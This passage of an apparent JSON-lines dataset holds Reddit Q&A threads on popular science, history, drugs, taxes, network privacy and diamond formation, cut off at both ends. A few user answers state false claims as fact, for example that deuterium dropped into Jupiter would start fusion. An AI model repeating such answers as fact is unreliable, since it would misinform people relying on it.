\"transmission\" would have to obey some sort of distance-decay law, most likely an inverse-square relation, like light and sound. The brain would therefore need to create an enormous signal for another to receive, which we should be able to detect.\n\nSecond, we would have to have structures in the brain to send and receive these signals, none of which have been observed.\n\nThird, there would have to be a physical explanation of how the information is transmitted. Electromagnetism is the most likely candidate, given that our brains use electromagnetism internally. But of course, we would observe signals coming out of our brains if this were the case. Instead, we need super-sensitive equipment just to detect *any* brain waves at all. There are other, more esoteric \"explanations\" out there, but they also make little sense."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "19kzsi", "title": "What is your favorite historical joke? (An alternative way to approach history...)", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/19kzsi/what_is_your_favorite_historical_joke_an/", "answers": {"a_id": ["c8oz0lo", "c8oz6qb", "c8ozya2", "c8ozyhy", "c8p0hb3", "c8p14qy", "c8p1dpu", "c8p1rvq", "c8p1td1"], "score": [13, 3, 22, 18, 19, 5, 11, 2, 6], "text": ["How were Woman seen in Ancient Greek culture? - They Weren't! :D I also have a favorite quote. \n\nDavid Lloyd George British PM after the Conference of Versailles . David Lloyd George when asked how the conference went - \"Not bad, considering I was sitting between Jesus Christ and Napoleon.\" ", "From the 'Hancock's half hour' episode 'Twelve angry men' \n \n\"Does the Magna Carta mean nothing to you? Did she die in vain?!\"\n\nand from Mel Brook's 'History of the world' \n\n'The people are revolting' \n\n\n\n\n", "Lots of people say that the Soviet Union had severe crackdowns on free speech, but this wasn't the case. See, in America, you could stand on the Front Lawn of the White House and yell 'Down with Nixon' and not be sent to jail. You could also go to the Kremlin, yell 'Down with Nixon' and not be sent to jail.", "Belgium: A country that was invented so that Germany and England would have a place to sort out their differences.  ", "Q: What were Mayakovsky's last words before he committed suicide?\n\nA: Comrades, don't shoot!\n\nVladimir Mayakovsky was an early Soviet futurist artist/playwright who designed a bunch of agitprop posters for the Bolsheviks. He suspiciously committed suicide shortly after criticizing Stalin's regime through plays describing Soviet bureaucracy and philistinism, especially the orientation towards restrictive \"socialist realism\" in art.", "In Soviet union\nQ: How is corn growing?\n\nA: It is growing like telegraph poles.\n\nQ: So big?\n\nA: No, so dense.\n\n\n\nIn fifties Khrushchev managed to make his idea of growing corn in Soviet Union real (he was quite obsessed with it). Soviets bought corn seeds, however they did not give farmers enough fertilizer and herbicides and did not planted the corn in appropriate climate.", "*A man traveling in Northern Ireland was asked by a local publican whether he was a Catholic or a Protestant. \"I am an atheist,\" the traveler replied. \"That's fine,\" the publican pressed, \"But are you a Catholic atheist or a Protestant atheist?\"*\n\nThe joke reflects the degree to which the sectarian divide has come to frame our understandings of the Northern Irish experience; religion permeates not only individuals' religious identities, but their social, political, and cultural identities as well. Although the conflict in NI is not one of religion (rather, we might see it as an ongoing struggle for economic, social, and political power), it has played out along sectarian lines. This joke points out the secondary importance of one's actual religious beliefs.", "In America, there are no stupid questions, in Soviet Russia, there are no questions.\n\nIn America, you don't leave home without the American Express card, in Soviet Russia, you don't leave home.\n", "I remember Dr O'Ciardha giving us an anecdote during one of our lectures as he usually does. He was speaking about Jonathan Swift traveling through Ireland when he came to a small heavily protestant community in the north of Cork. It was a completely walled town, just like Derry but above it's gates read. \"Muslims, Jews and Protestants only. No Papists\" and Swift was meant to have wrote of the occasion later\n\nWhoever wrote them \n\nWrote them well\n\nNo truer words\n\nAbove the gates of Hell\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "21v0oy", "title": "When a radioactive nucleus naturally decays, why doesn't it release a large amount of energy compared to induced nuclear fission, such as in a nuclear reactor?", "selftext": "For example: Uranium-235 is used in nuclear reactors by using neutrons and a moderator to induce nuclear fission. However, ignoring the large half-life, you don't see random nuclear explosions occurring around the globe. But why? That is the question.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21v0oy/when_a_radioactive_nucleus_naturally_decays_why/", "answers": {"a_id": ["cggt4au", "cggvqpf"], "score": [2, 2], "text": ["OK, so there are a few concepts I think you might be confused about.\n\nFirst, let's talk about decay. When an atom undergoes radioactive decay, it means its nucleus changes in some way. So, say, polonium-210 undergoes alpha decay, which means that an alpha particle (a helium nucleus, basically) shoots out of it. The alpha particle shooting out has about 5 MeV of energy. That's not very much, but it's enough to be ionizing, which means it can harm cells. If that alpha particle hits your DNA, it can cause chemical changes and those can sometimes lead to cancer, for example. (The chances of you getting cancer from any individual alpha particle are low, but with enough of them...)\n\nMost decay energies are in the \"couple of MeV\" range. It's not super impressive and it generally doesn't matter for how dangerous they are. More important are the decay modes (alpha, beta, gamma, etc.) and the half-lives, the latter of which tell you how radioactive an amount of the substance is. So Polonium-210 is dangerous not because of how much energy it releases, but because it has a relatively short half-life: only 130 days. So that means any given amount of the stuff is going to be pretty radioactively \"hot,\" shooting out a good number of alpha particles all the time. (Plutonium-239, another alpha emitter, has a half-life of 24,100 years, and that is radioactive enough that a fist-sized lump of it will be hot to the touch.)\n\nFission is a little different. It's technically a decay mode but it is much more violent than regular radioactive decay. Instead of losing a neutron or an alpha particle or something like that, the nucleus ruptures into two halves that rapidly repel one another (because they are both positively charged). Each fission reaction releases around 200 MeV. So already that's more energy than other decay modes by a factor of 10.\n\nBut that's still not enough energy for us to really notice on a human scale. What matters with fission is that the process is capable of a chain reaction. Every fission event has the possibility of creating two or more further fission events. So with a bomb, you're trying to create the conditions so that something like 2^80 fission events happen over the course of a microsecond of time, which releases something like 10,000 tons of TNT equivalent worth of energy.\n\nIf you could somehow make a lump of polonium release _all_ its energy at once, it would be a big explosion too. But you can't. Only fission seems to work this way. (And fusion, but that's a separate story.)\n\nWhy don't we see random nuclear explosions around the globe? Because the conditions for creating a fission chain reaction are pretty specific, and don't happen too often in nature. In the past, when the amount of U-235 in the environment was higher, [a nuclear chain reaction did happen at least once](_URL_0_), but it wasn't a bomb, it was more like a reactor. Reactor conditions are lower than bomb conditions; bomb conditions are hard to achieve \"naturally.\" \n\nI hope that clarifies things a bit.", "You're dealing with different forces. The strong force and coulomb force is involved with fission, while radiation typically involves the weak force. The amount of energy liberated per event is different between the two.\n\nIn nuclear fission, we are inducing an oscillation in a nucleus, which causes it to expand into 2 or 3 pieces. As these pieces wobble around, they eventually reach a point where they move further than what the strong nuclear force can hold together, and the electrical force pushes the atoms apart. A large amount of energy is released this way. From a relativistic standpoint, E = m*c^2, the mass defect of the heavy atom is literally converted into energy when the atom is split.\n\nIn radioactive decay, you have a nucleus or an atom in an energetic state, and it releases a particle or photon to return to a more stable state. This is usually a somewhat high specific energy, however it is relatively low when compared to a fission reaction. One needs to consider, that radiation does release a not-insignificant amount of heat. The core of the earth is likely warmed by radioactive decay. Radioactive decay is responsible for both the Three Mile Island and Fukushima meltdowns (the fission reaction was shut down for hours at both sites prior to core damage occurring). Radioactive decay is used in nuclear batteries like those on several space probes and satellites.\n\nAs for the random explosion part. Radiation is a process which occurs. Nothing that we know of can trigger radiation. Compare this to fission. Fission does not naturally occur in the environments we live in. For fission to occur, we cause a neutron to interact with an atom. This releases energy, and more neutrons. If the conditions are right, those neutrons that come out will trigger even more reactions, including either a self-sustaining reaction (nuclear power reactor), or an exponentially increasing reaction (nuclear weapon). The fission chain reaction is responsible for this. There does not exist any analogue of the fission chain reaction with regards to radiation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Natural_nuclear_fission_reactor"], []]}
{"q_id": "5d7uyz", "title": "what's happening inside you when you inhale nitrous oxide?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5d7uyz/eli5whats_happening_inside_you_when_you_inhale/", "answers": {"a_id": ["da2h0df"], "score": [8], "text": ["Nitrous oxide (N2O) or 'Nos' as some people call it, is a medical/recreational drug that can be inhaled for euphoric sensation or as a replacement (weak) anaesthetic. \n\nWhen you inhale the gas, less oxygen by % is being inhaled. This results in a reduction in oxygen supply to the brain, and you tend to feel quite light headed.\n\nIt is a fat soluble molecule that can enter cells very easily, and reach synapses within our nervous system with no problem. It interferes with neurotransmitter molecules and their respective receptors in the body, and hence causes the anaesthetic/neurological effects. \n\nSome people actually report feeling aggressive or scared after inhaling N2O, and the mechanism for what causes the emotional changes is not fully understood (laughing, anxiety etc)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3tlfpt", "title": "Temporary marriage in ancient Japan", "selftext": "So, I was reading an article [over on AEON] (_URL_0_) about Temporary marriage, and one line in particular caught my attention : \n > \"But **temporary marriages** have been successfully practised for centuries, among Peruvian Indians in the Andes, in 15th-century Indonesia, **in ancient Japan** and the Islamic world, and elsewhere. \"\n\nI majored in Japanese studies, but I have never heard of it. Since the lady didn't cite any source, I tried roaming a bit over the internet, but I didn't find anything. ~~Without going down the Nik\u0101\u1e25 al-mut\u02bfah rabbit-hole,~~ does anyone here has some insight about such alleged practices in ancient Japan?\n\nThanks in advance,", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3tlfpt/temporary_marriage_in_ancient_japan/", "answers": {"a_id": ["cx76ujf", "cx79qba"], "score": [3, 10], "text": ["I've never head about this. Is she talking about the aristocratic practice of the men visiting women's quarters at night to see their partners instead of a permanent living arrangement under one household?", "The wording in the article seems a bit dubious. 'Ancient' Japan would refer to Bronze and Iron age Japan (the Jomon and Yayoi periods), i.e. roughly the period until the mid-third century AD. The problem here is that the written word only really came to Japan towards the end of the Kofun period (early 6th century), and the first texts from Japan that we know of, the Kojiki and Nihon Shoki, are from the early 8th century. Incidentally, neither of these texts deal with everyday life, but with Japan's creation myths. Although there are indeed mentions of Japan in the 'Ancient' era (there are a number of mentions if the Kingdom of Wa by the Chinese from the 1st century onward), none of these texts go into the detail as to marriage customs in the country. In short, apart from herself being involved in some groundbreaking archeological digs, there is no way she could know anything about the marriage customs of Ancient Japan, as there are simply no written records of that facet of life in that period.\n\nDuring the Classical period of Japanese history (Yamato and Heian periods, mid 6th century to 1185), women did indeed occupy a greater role on society than they would perhaps in other places in the world. The 8th century has the only female rulers in Japanese history, while the Heian period's greatest writers were women. They were allowed to own property in their own name too. Marriage however, was a different matter entirely. Considering that one's lineage pretty much determined how far one could rise in Kyoto's court, brides were seen as political tools to advance the current or future fortune (depending on whether the family was supplying the bride or bridegroom) of a family. Choices would be entirely in the hands of the family patriarch. These marriages were also rarely, if ever (I cannot find any mentions of it, at least) dissolved. A marriage was a political tool that might occasionally blossom into love. If men wanted to be with their 'true' love, or express their sexuality, they would take on concubines. Affairs were indeed also possible for both sexes in this period, but were frowned upon. Furthermore, considering the highly ritualized nature of the Kyoto court, a woman that wanted to court a man to her bed would have to go through very specific steps (often literary in nature, read Genji Monogatari for a beautiful illustration of that at work), and in the end would have to wait for the man to take the steps that would bring them together. In short, it was much easier for a man to engage in such activity than for a woman.\n\nEither way, neither the ancient nor classical periods had a custom of temporary marriages, at least as far as we can tell from the texts available to us. The term 'temporary marriage' does pop up in reference to women employed as mistresses by westerners from the 17th century onward. The nature of these contracts was to provide financial and legal security for the women (often brothel workers) who would eventually be discarded by the men though. I hesitate to even call these contracts marriages, as the women involved did not live with the men out of a feeling of love (or expression of sexuality). That sentiment could indeed develop over the course of time, but their initial status had nothing to do with affection. The relationship here is more one between employer and employee than one between husband and wife. \n\nFor Ancient  &  Classical Japan i'm relying mostly on the Cambridge History of Japan (volumes 1 & 2). For temporary marriages with foreigners in the Modern period, try 'Interracial Intimacy in Japan: Western Men and Japanese Women, 1543-1900', by Gary Leupp.\n"]}, "title_urls": [], "selftext_urls": ["https://aeon.co/opinions/a-temporary-marriage-makes-more-sense-than-marriage-for-life"], "answers_urls": [[], []]}
{"q_id": "1s68pu", "title": "Atomic Orbital Theory, Molecular Orbital Theory, Valence Bond Theory.", "selftext": "What are the differences between these three theories?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1s68pu/atomic_orbital_theory_molecular_orbital_theory/", "answers": {"a_id": ["cdudx9y", "cdue61q", "cduea75", "cdup39m"], "score": [2, 13, 2, 6], "text": ["AO is orbital theory with just a single atom\nMO is when there are two atoms or more \nthey both describe how the diffrent electrons place spin and affect the atom/molecule in the diffrent energy levels.\nthe energy levels define wheter or not the molecule will stick together, or if the atom has a charge or not.\nnot certain what velence bond theory is thought.\nthe book i learned from is chemistry 3 burrows: _URL_0_\n\npardon for the poor spelling english is not what i studied chemestry in :/\nedit: the pardon", "All three are models of the wave-particle duality of electrons in an atom, and are essentially related to one another. Atomic orbital theory is used to describe the energetic nature of electrons in a single atom; molecular orbital theory (related to VB theory) qualifies these wave interactions between multiple atoms in a molecule with mathematical equations (the shapes assumed by the orbitals) and quantifies them in terms of energy (in the form of an energy diagram).\n\nSource: student in inorganic chemistry. :)", "Atomic orbital theory:\nElectron circle the nucleus in \"orbits\" in the same way that planets orbit the sun... well sort of. There is angular momentum, mass and attraction, but this time due to electrical charge differences rather than gravity. This time, however, the orbits are not circles with a discreet lump of matter in them. Now, they are spheres, or more complicated shapes that are probabilities of where the electrons may be found. Also there are as many as two electrons allowed per orbital, as they have \"spin\", but there cannot be more than 2... See here on quantum states and why they are shaped as they are:\n\n_URL_0_\n\nValence orbital theory:\nWhen two atoms are close together, their orbitals overlap... becoming in essence a single orbital. When this happens, two regions of probability are combined, and it is then most likely place to find the electron(s). The results in a net attractive force between to two nuclei and the common electron density between them... a bond is formed. Of course, since only two electrons can share a single orbit, this can only happen with un-paired electrons from the parent atoms or ions.  Hence, why oxygen, which has two un-paired electrons can for two bonds under normal circumstances. \n\nMO theory: \nIt is now generally recognized that all this overlapping is not confined to a single pair of atoms, but that electrons can be passed back and forth to any atom in a molecule. Thus, the electrons in the whole system are considered at one. There then becomes various orbits, which are shared between the atoms in some cases, and not in others. The electrons fill these up in the lowest energy configuration possible, pairing up into the lowest energy orbits, and filling their way up to the top... this allows things like \"delocalization\" where the energy levels of two configurations are about equal, and so the electrons spend some time in one configuration and one in another.... for an example look at benzene. 6 carbon atoms with 6 hydrogen atoms... essentially 6 identical pieces, so no way to distinguish any particular C atom - the electrons are shared equally around the ring. ", "I just finished up a group theory class that really tackled MO and VB theories. The major difference between MO and VB theories is that the electrons are delocalized through the molecule in MO theory, and confined to directly bonds in VB theory.\n\nMOs can be found using group theory easily by \n\n1) determining the symmetry of the molecule by [findings its point group](_URL_0_)\n\n2) choosing a basis set of orbitals. If you are looking at the pi system in benzene, you would use the pz orbitals, if you want the full MOs you would use the 2s and 2p orbitals on each carbon.\n\n3) Find and reduce a reducible representation.\n\n4) once you have irreducible representations, which give you the symmetry of your orbitals, you can use a very simple projection formula to find the symmetry-adapted-linear-combinations, or SALCs.\n\n5) these SALCs aren't exactly your MO, but they are just a few steps away.\n\nWhy is this important? Well if you use the matrix representation of your SALCs, where you have (s)=(SALC)(phi). Where (s) is the symmetries of each SALC, (SALC) is the coefficient of each orbital, and (phi) is the orbital vector you can easily find your VB theory bonds. All you do is left multiply by the inverse of the SALC matrix to get (SALC)^-1 (s)=(phi). This is neat because it gives you exact solutions very quickly and easily by hand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.infinity.usanethosting.com/Tuition/Textbook_Chem3.jpg"], [], ["http://en.wikipedia.org/wiki/Quantum_state"], ["http://en.wikipedia.org/wiki/Point_group"]]}
{"q_id": "2ii1z4", "title": "why are people so protective of their ip address and mac address online, and what would the realistic consequences of openly posting them be?", "selftext": "I see a lot of videos with people putting their finger over their MAC address or blocking out their IP address, but it seems like one of things that everyone does just because it's something that everyone does. I'm sure there's a good reason, but what is it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ii1z4/eli5_why_are_people_so_protective_of_their_ip/", "answers": {"a_id": ["cl2cqz4", "cl2cw9h", "cl2ds5m"], "score": [3, 10, 2], "text": ["Posting your MAC is absolutely ok. The only thing your MAC will reveal is what type of equipment you are using, as each manufacturer has its own range registered, and sometimes it's possible to identify the model (when the MAC range for that model is known). That's all. MACs are only relevant in your LAN, but never go past your router, so, no reason to cover them. Regarding your IP Address, it does provide more information, and potentially exposes you to an attack. Regarding the information, it depends on your ISP, but usually your location will be partially exposed. How much? Well, depends, but ranges from just what country you are from to your exact address. Generally is just your city/area, or an area a few blocks in size. \n\nAs to opening you to attacks, well, you are usually behind NAT, but if you have ports forwarded to one of your internal addresses, depending on what service you are exposed, and your setup, you could possibly be attacked if someone with the required knowledge felt inclined to do so. ", "Imagine that burglars could teleport to your house from anywhere in the world, try to pick locks or open windows or even just set it on fire for their amusement without much notice unless you actively maintain a log of everything that happens at every entry point. They can then disappear instantly before you can even think to call the cops and come right back when you've let your guard down afterwards. Would you feel comfortable handing out your home address to strangers in that scenario? ", " >  I see a lot of videos with people putting their finger over their MAC address or blocking out their IP address\n\nHonestly? Most  are being silly. It's trivial to find an IP address of someone. Hell, if you want to find one of the IP addresses behind reddit, just type ping _URL_0_. \n\nFor home use, it's even sillier as most routers operate in what's called NAT (network address translation). Unless specifically configured to allow something called port-fowarding, things from the internet can't reach from the outside in.\n\nNow, it's entirely possible to attack the router directly, but most modern routers are fairly secure.* \n\nIn short, it's a security measure called [security through obscurity](_URL_1_) which is widely regarded as limited and bad at best.\n\nIt should be noted that on a regular daily basis, your IP address is scanned very often for security vulnerabilities and/or open ports, so there isn't much of an increased risk by exposing your IP address. \n\nNow, it's possible for these IP addresses to be D/DoSed (distributed/denial of service), which for most consumers is a non-issue -- simply rebooting your modem or calling your ISP and asking them to give you a new IP takes care of it. \n\nFor businesses or people with static (IE: unchanging) IP's, it can be more troublesome and they have a legit reason for hiding their IP address.\n\n\n* except routers with government backdoors built in :("]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["www.reddit.com", "http://en.wikipedia.org/wiki/Security_through_obscurity"]]}
{"q_id": "8tgsfc", "title": "how are we able to measure space?", "selftext": "For example, I read about the Pillars of Creation and how they\u2019re 4 light years tall and that equates to something like 23 trillion miles long. How do we know that it\u2019s 4 light years long? \n\nOr another example, the galaxy that we\u2019re in is 100,000 light years wide or something like that. How do we possibly know that?\n\nAnd i guess i also have a related question but how can telescopes see so much to begin with ?\n\nMy mind can\u2019t wrap around the understanding of how we\u2019re able to observe space lol, it\u2019s so daunting how small we are.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8tgsfc/eli5_how_are_we_able_to_measure_space/", "answers": {"a_id": ["e17d2vf"], "score": [89], "text": ["There are several methods to calculate the distance of a celestial body. Which one is used depends on the exact circumstance. Here are some of the most important methods:\n\n---\n\n* **Parallax**: Earth orbits the sun. In the process of this orbit, we change our position in space relative to a celestial body (just like you see a nearby tree in a different position if you move 10 steps to one side) Using trigonometry, we can calculate the distance to the celestial body in question. \n * Advantages: very precise for close objects, no complicated instruments needed. \n * Disadvantage: only possible for close objects \n\n\n---\n\n\n\n* **Spectral emission**: Stars emit photons with specific wavelengths based on the material they are fusing in their core. We can identify the composition of a star by analyzing those photons.  Due to the expansion of space, however, the wavelengths of photons emitted very far away get redshifted. That means, their wavelengths get longer the further they travel. By comparing the wavelengths of the photons we *measure* to the wavelengths the photons *should have* we can calculate the distance those photons traveled. And thus the distance to the celestial body. \n\n * Advantage: Possible over longer distances\n\n * Disadvantage: The object has to be bright enough so we can measure spectral lines reliably \n\n\n---\n\n\n\n* **Standard candles**: Standard candles are celestial bodies of known luminosity (~brightness). We know this luminosity due to the characteristics of some bodies (special types of super novae etc.) By comparing the absolute brightness to the apparent brightness (the brightness the object has vs the brightness we see from the distance) we can calculate the distance to the standard candle. By identifying standard candles in distant galaxies and nebulae, we can infer the distance of those structures. \n\n * Advantage: Possible over long distances\n\n * Disadvantage: We need to find standard candles\n\n\n---\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ne0d7", "title": "why do dogs go apeshit when they encounter a significant human that they haven't seen in a while?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ne0d7/eli5_why_do_dogs_go_apeshit_when_they_encounter_a/", "answers": {"a_id": ["cvn5yp6", "cvn68gu"], "score": [3, 2], "text": ["Just like humans get excited when they meet an old friend that they haven't seen for a while, dogs also get excited when they are reunited with a human they're close to. Running around and going crazy is just how some of them express that excitement.", "Dogs are, by nature social/pack animals, and when they see a member of their own pack not seen in a while, they often greet them with playful joy. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ci8sso", "title": "why the us government can tax my groceries", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ci8sso/eli5_why_the_us_government_can_tax_my_groceries/", "answers": {"a_id": ["ev2hi22", "ev2hibm", "ev2htmq", "ev2hufd"], "score": [5, 3, 2, 3], "text": ["Where do you live that there is a federal tax on groceries?\n\nI've never lived anywhere where it wasn't just local sales tax, and most places waive the tax on food, or at least \"necessities\" (some localities do things like tax junk food, but not vegetables.)\n\nHere's a fairly recent article that breaks it all down state by state: _URL_0_", "Sales tax is at the state / county / city level so technically the US government are not the ones taxing your groceries. But yes, many voters agree with you and feel that groceries should not be taxed as it disproportionately affects low income people. Obviously there are people on both sides of the issue, and some states do not tax groceries.", "I don't get taxed on \"groceries,\" but do get taxes (in MD) on \"prepared food.\" This includes pre-made stuff at the supermarket and the like.\nHowever, there are taxes and hidden fees associated with utilities which are also necessary to live. Meanwhile it's possible to dodge lots of bigger tax burdens if you can afford a good CPA. Only way to get ahead is to best the system. Downside is the \"winners\" create the need for lots of \"losers\" because of limited resources.", "The U.S. government does NOT tax your groceries. You state and local governments are responsible for sales taxes, including those on groceries.\n\nThere is nothing illegal about taxing \"necessities\"... you also need someplace to live yet pay property taxes (indirectly if you rent, as your landlord pays them and they're factored into what they charge for rent). But in many cases, the taxes are much lower for groceries and medications than on general items -- for example, here in Chicago it's 2.25% vs. 10.25 for non-grocery items."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://blog.taxjar.com/states-grocery-items-tax-exempt/"], [], [], []]}
{"q_id": "5vrbm6", "title": "if coal turns to diamonds through pressure, could we dump a bunch of coal on the ocean floor to turn them into diamonds faster?", "selftext": "a quick roadmap for those just joining us:\n\n[actual answer 1](_URL_5_)\n\n[actual answer 2](_URL_3_)\n\n[one of the only off topic threads i approve of](_URL_1_)\n\n\n[the plot thickens!](_URL_4_)\n\n[a good way to honor your fallen loved one](_URL_0_)\n\n\n[shameless plug to the mods](_URL_2_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vrbm6/eli5_if_coal_turns_to_diamonds_through_pressure/", "answers": {"a_id": ["de46ast", "de46d4u", "de46ejy", "de46kv5", "de46pms", "de4c0n7", "de4c8wo", "de4ca8w", "de4dlyh", "de4eypp", "de4f0uy", "de4gh3p", "de4i65t", "de4krt3", "de4mv8x", "de4nfe1", "de4nhec", "de4odx0", "de4owyl", "de4pi7l", "de4pxd8", "de4qb8m", "de4qcih", "de4qwbw", "de4tbeu", "de4twwe", "de4uo5y"], "score": [12203, 2468, 23, 911, 1156, 211, 5, 2, 6, 2, 19, 1436, 3, 3, 2, 2, 320, 2, 2, 6, 2, 2, 2, 2, 2, 6, 13], "text": ["Nope, it's nowhere near enough pressure. The pressure at the bottom of the mariana trench is nearly 16,000 psi. The pressure required to make diamonds the natural way? 750,000 psi.\n\nYou'd have wet coal.\n\n*EDIT: The longer this post has been up the progressively weirder the replies have gotten. They moved from scientific inquiry to shitposting to dadaist art pieces, what is happening*", "Despite being quite heavy, the ocean is WAY too little pressure to turn coal into diamonds. \n\nFor diamonds, we're talking 237,000 to 1,300,000 atm. The bottom of the Mariana Trench, one of the deepest parts of the ocean, has about 1,070 atm.\n\nSo we don't even need to get into the trouble of retrieving stuff from the deepest part of the ocean, because it's just gonna be wet coal. \n\nAs something of an aside, most diamonds are not actually formed from coal. Much of the carbon that went on to form diamonds likely predates any of the living material that would form coal altogether.", "Not really no\n\nThe sort of pressure required to form diamonds is well beyond anything found in the ocean\n\nAnd the amount of time it takes diamonds to form is in the millions of millions of years, so even if you could halve this amount of time it would still be completely pointless\n\nThere are however other methods available to make synthetic diamonds\n\n_URL_0_", "Actually diamonds being formed from coal is a myth.  Coal seams are sedimentary rocks that form in horizontal slabs.  Diamonds are formed in vertical shafts full of igneous rocks.\n\nSource: _URL_0_\n", "thanks for the answers! now i know what to do if i want wet coal next time james cameron invites me on an expedition\n\nEdit: a lot of people seem to think I'm commenting on the rarity of diamonds, and that I am hatching a grand scheme of deep diving to my diamond trench to live alone with my riches while you are left to fight amongst yourselves for your slowly disappearing supply of diamonds. I assure you I just had a random shower thought, and this is not a commentary on \"Big Diamond\"", "No.   \nThe pressure at the bottom of the ocean is 15,750 psi.  \nThe pressure required to make diamonds is around 510,000 psi.  \nThat's more than 10 times whats is needed.  \n  \nBut could if we could created that kind of pressure, would that turn the coal into diamonds?   \nNo, we still need to heat them up.   \n  \nCould we heat them up and put them under that kind of pressure? Yes!  \nInfact we regularly do this.    \n[Synthetic diamonds are are regularly produced thing.](_URL_0_)   \n  \n", "Diamond is a very ordered form of carbon and it is created under both heat and pressure. The pressure on the ocean floor is a vacuum compared to the pressure in the mantle and earths crust. The weight of a few hundred miles of atmosphere and water pales compared to the weight of miles of rock, and the heat of mantle plumes. \n\nThe pressure on the ocean floor is not enough to force carbon into the configuration necessary for diamond nor does it have the heat needed to make the carbon pliable enough to change form. ", "Maybe what we need is to put coal under a hydraulic press and let it sink to the bottom?", "It could be done on Jupiter, however.  Jupiter is in fact, not massive enough to fuse hydrogen (as the sun) but if you dropped deuterium into Jupiter, it would begin fusing near the center and releasing fusion energy.", "NPR did a [story](_URL_0_) a couple of months ago about \"lab-grown\" diamonds that I think is in line with what you are thinking of.\n\nSome of the stones come from a company called WD Lab Grown Diamonds, just outside the District of Columbia. Yarden Tsach, who runs the place, explains that inside their diamond-growing machines are vacuum chambers.\n\nAt the bottom, they put a little bit of solid diamond. That's the seed for diamond growing. Then they add gases to the chamber and microwave. This creates a reaction that deposits more and more carbon on the seed, building the diamond up until it's enough to look good on a ring.\n\n\"On most of the cases, on the floor here, it will take about eight weeks,\" says Tsach. And he wants to be clear \u2014 what they're making is not cubic zirconia or some fake. \"It is diamond,\" he says. \"It's not something else.\"", "Diamonds largely form due to kimberlite pipes, am occurrence in which the material that will form the diamond shoots up from lower in the Earth's crust, causing the material to quickly cool. This quick cooling is what causes the formation of the diamond, not just pressure. Another comment pointing out vertical igneous formations is likely referring to this process. \n\nAt least this is one way diamonds form, perhaps there are others. ", "So. In keeping with the spirit of the thread and not engaging in trollery, the followup question is:\n\nIf on the bottom of the ocean, the carbon is just \"wet coal\", HOW DEEP of a (completely theoretical) ocean would be needed to provide the necessary pressure to form diamonds?", "Nope. Coal is not the source of diamonds. Diamonds are actually formed from graphite melting and recrystallizing under intense heat and pressure.", "As the top answer says nope. \n\nBut you can grow a diamond...using graphite, heat, pressure and special equipment.\n\n_URL_0_\n\nI am a GIA trained diamond grader, AMA :D", "Carbon needs to be subjected to not only pressure but also a lot of heat (about 1000 degrees celcius) to form the allotrope known as diamond. The pressure required is generally found about 150-450kms deep in the mantle of the earth (deepest area in the ocean is about 11 kms) so as you can imagine the pressure is significantly greater 100's of kms deeper!\n\nNatural diamonds are generally found as a result of kimberlite vulcanism. I don't know of any confirmed naturally occurring diamonds forming from coal/organic matter.", "No, because you need many times higher pressure than the ocean floor has and also need to heat it to about 2000 degrees Fahrenheit.", "Diamonds, as found in diamond mines, are not now nor were they ever \"made of coal\". Coal is a complex hydrocarbon. It does have a lot of carbon in it, but it's got too much other stuff to ever simply be crushed into diamonds.\n\nDiamonds are what you get from nearly pure carbon subjected to almost irrational pressures and heat, and they _slowly_ crystallize.\n\nSo pure graphite looks like a bunch of little hexagonal dinner plates. It's all flat. A large flat sheet is this \"graphine\" you hear of. Then you just keep squeezing a whole stack of that from all sides and the little connections that make the array of dinner plates shape become an array of cubes with cross members to make diamonds.\n\nThat's a lot of pressure. A lot of heat. And a lot of time.\n\nImagine trying to turn a stack of dinner plates into a brick just by finding something heavy to put on top of them. That's just not going to work. The plates just break. So then you need to push them from all sides. Then you need to melt them to basically lava. Then you need to keep the pressure on until the lava becomes rock.\n\nThat's a lot of heat and pushing.\n\nThe bottom of the sea is not as hot as lava. It's not enough pressure. And if it was, the water would go between the plates and you'd never get your brick.\n\nSo coal is what happens if you burry a bunch of dead plants and get it sort-of hot under a bunch of pressure.\n\nDiamonds are what you get when you crush pure carbon with a signficant percentage of the earth's heat and weight without letting it get mixed around.", "Diamonds are actually made by heat + pressure. Most diamonds are found in the remains of ancient volcanoes. So just dumping coal at the bottom of the ocean will not work. You need very high heat, like in a magma chamber and the even higher pressures found deep in the earth or in a volcano. ", "You're going to need a lot more pressure than that. \n\nDiamonds occur in ultramafic rocks (from the mantle) called kimberlites.  Kimberlites generally originate 60 - 100 km under the surface of the earth.  Kimberlites make it to the surface from this depth over the course of a day or two, which is insanely fast when you think about how much \"solid\" rock the magma has to go through.  Diamonds form when you have 50 miles of rock sitting on top of carbon.  The bottom of the ocean would be a couple of miles worth of water on top of it.  ", "I heard an expert on diamonds on NRP the other day---and I'm an expert on pretty much nuthin' so take this for what it's worth---and he said all diamonds carbon date from something like 3.8 billion years in age to 4.1 billion. (I can't remember the exact figures.) Anyhoo, if you take into account the age of the earth, and that there aren't any diamonds say 5 billion years old or just a billion years old, wouldn't that indicate that there was probably something else geologically going on than simply pressure and time?", "How would we get them back?", "Diamonds aren't actually made from coal btw. That 